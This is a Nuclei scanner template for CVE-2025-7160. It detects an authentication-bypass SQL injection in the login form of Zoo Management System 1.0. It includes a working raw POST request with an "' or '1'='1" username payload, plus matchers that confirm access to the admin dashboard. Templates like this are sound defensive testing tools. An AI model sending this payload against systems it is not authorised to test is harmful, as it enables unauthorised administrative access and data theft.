id: CVE-2025-7160

info:
  name: Zoo Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary SQL queries through the username parameter, potentially gaining full administrative access and extracting sensitive database information.
  remediation: |
    Upgrade Zoo Management System to a patched version that properly sanitizes user input in the login form.
  reference:
    - https://www.exploit-db.com/exploits/48880
    - https://packetstormsecurity.com/files/167572/Zoo-Management-System-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7160
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-7160
    epss-score: 0.01721
    epss-percentile: 0.74522
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,edb,packetstorm,zms,sqli,auth-bypass,cms,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27%3D%271&password=any&login=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ZMS ADMIN'
          - 'Dashboard'
          - 'Zoo Management System'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402202f1ea881478de376e6976d7170fae433c0fef50bfd93a61fda9b90a75aa3937802203811955bae21548291ceec622dffd097462c52ae8f5e52e87428dc74b9e41cdc:922c64590222798bb761d5b6d8e72950